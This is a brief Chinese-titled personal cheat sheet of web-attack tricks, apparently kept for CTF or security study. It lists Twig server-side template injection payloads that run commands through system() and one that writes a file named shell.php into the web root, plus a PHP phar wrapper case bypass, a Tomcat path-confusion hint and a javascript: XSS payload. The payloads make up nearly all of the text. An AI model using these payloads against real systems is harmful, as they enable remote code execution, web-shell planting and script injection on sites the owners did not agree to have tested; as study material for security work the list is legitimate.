记录一下我遇见的各种 trick

tricks

PHP:
    readfile("phar:///1.png/test.txt") == readfile("phaR:///1.png/test.txt")
    
    
    
    TWIG SSTI:
        {{["id"]|map("system")|join(",")
        {{["id", 0]|sort("system")|join(",")}}
        {{["id"]|filter("system")|join(",")}}
        {{[0, 0]|reduce("system", "id")|join(",")}}
        {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
    
    
    
Python:





java:
    tomcat:
           getRequestURI != getServletPath
           
           
           
XSS:
    click:  ```javascript:\nalert(1)
    
    
    ```